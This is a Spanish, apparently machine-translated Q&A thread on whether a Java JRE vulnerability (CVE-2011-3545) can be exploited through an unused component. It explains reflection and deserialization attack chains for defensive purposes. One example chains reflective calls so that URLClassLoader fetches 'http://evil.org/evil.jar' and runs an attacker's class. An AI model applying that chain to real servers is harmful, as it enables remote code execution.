En un servidor que ejecuta Java, ¿se puede aprovechar una vulnerabilidad de JRE incluso en los casos en que la aplicación no utiliza el subcomponente nombrado?
Consulte CVE-2011-3545 , para el cual el subcomponente vulnerable es "Sonido ". Mi aplicación Java no utiliza el subcomponente de sonido.
Esta es una pregunta extremadamente genérica:
Es común combinar varias vulnerabilidades menores, que no son explotables por sí mismas, para explotar un sistema.
El analizador jetty json alegremente carga cualquier clase que tenga un nombre en el atributo de clase de una cadena json. Y la principal motivación para analizar una cadena json en el servidor es analizar los datos del cliente. Se supone que los controladores JDBC se registren en la carga de clases.
Otra vulnerabilidad menor común es crear una instancia de los objetos de los nombres de clase proporcionados por el usuario a través de la reflexión antes de verificar que implementan la interfaz esperada. Esto permite la creación de todos los objetos, que tienen un constructor coincidente, y la ejecución del código en ese constructor.
Entonces, realmente depende de la vulnerabilidad y el control que se pueda ejercer.
El comentario oficial sobre la vulnerabilidad concreta, que agregó a su pregunta, es este:
CVE-2011-3545
Componente: Sonido
Vector de acceso: Red
Ver Nota 2
Nota 2: se aplica a las implementaciones de cliente y servidor de Java. Esta vulnerabilidad puede ser explotada a través de aplicaciones Java Web Start no confiables y applets de Java no confiables. También puede explotarse suministrando datos a las API en el Componente especificado sin utilizar aplicaciones Java Web Start no confiables o applets Java no confiables, como a través de un servicio web.
Si esa es toda la información que está disponible, debe actualizarla. " Vector de acceso: red / servicios web " no suena bien.
Peor aún: si su servidor tiene un navegador web con Java instalado, es posible que alguien se sienta tentado a usar la web para solucionar problemas. Esta vulnerabilidad se puede explotar visitando el sitio web infectado sin ninguna interacción del usuario ( unidad mediante descarga ).
A través de la reflexión, cualquier paquete en la ruta de clase es potencialmente usado. Los servicios comunes basados en la reflexión (por ejemplo, deserialización) también significan que cualquier clase cargable es utilizable. ObjectInputStream y otras API utilizadas comúnmente pueden ser una fuente de vulnerabilidades.
Para comprender las vulnerabilidades de reflexión: si un atacante puede obtener una cadena que controla en Class.forName o algún otro mecanismo de reflexión, entonces es probable que se pueda cargar esa clase. Por ejemplo, si el atacante controla el valor de s ,
Class<?> clazz = Class.forName(s);
Object o = clazz.newInstance();
entonces pueden hacer que se cargue cualquier clase visible para el cargador de clases de arranque.
Si el atacante puede hacer que su aplicación deserialice los bytes que especifican, entonces pueden hacer que cargue cualquier clase en la ruta de clase. ObjectInputStream buscará un nombre de clase especificado en su byte[] y cargará esa clase para ver si implementa Externalizable . La clase se inicializará si implementa Serializable .
El uso ingenuo de la serialización de objetos puede permitir que una parte maliciosa con acceso al flujo de bytes de serialización lea datos privados, cree objetos con estado ilegal o peligroso, u obtenga referencias a los campos privados de objetos deserializados.
Las características de serialización y deserialización se pueden aprovechar para omitir las comprobaciones del administrador de seguridad.
Además, se pueden encadenar ataques múltiples en APIs reflexivas. Si el atacante controla la cadena s0 ... s4 a continuación, pueden hacer que se cargue cualquier clase:
Class<?> clazz = Class.forName(s0);
Constructor ctor = clazz.getConstructor(s1, String.class);
Object o1 = ctor.newInstance(s2);
Method m = clazz.getMethod(s3, String.class);
Object o2 = m.invoke(o1, s4);
Considera lo que sucede cuando
s1 = "java.net.URLClassLoader";
s2 = "http://evil.org/evil.jar";
s3 = "findClass";
s4 = "org.evil.Evil";
Los atacantes que pueden especificar las propiedades del sistema también pueden cambiar la ruta de clase para incluir clases de troyanos.
La moraleja de esta historia es mantener las cadenas y bytes no confiables lejos de las instalaciones reflexivas y las instalaciones relacionadas, incluida la deserialización, RPC / RMI, etc.
En un servidor, existe un riesgo bajo incluso si está deserializando contenido no confiable a través de ObjectInputStream o algún tipo de serialización json / xml. Cualquier ataque remoto que utilice ObjectInputStream probablemente requiera un exploit para invocar métodos arbitrarios que permitan a un atacante usar el inicio de Process #. por lo tanto, no es necesario utilizar el exploit para hacer cosas malas :) la serialización json que hace newInstance y solo los emisores de llamadas también debe ser segura. Si tiene algunos métodos de configuración extraños en su aplicación que le permiten a un atacante llamar a métodos arbitrarios, de todos modos ya está jodido porque podrían usar el proceso # comenzar a llamar código arbitrario.
Creo que la única forma en que esto aumenta su riesgo es si está realizando una serialización si está usando un administrador de seguridad. Si tiene un exploit en su aplicación que le permite a un atacante ejecutar código arbitrario, entonces es posible que un atacante desactive el administrador de seguridad para que pueda ejecutar algunos de los métodos incorrectos, como el inicio del Proceso #. aunque la mayoría de las aplicaciones de servidor no usan un administrador de seguridad ...
Lea otras preguntas en las etiquetas java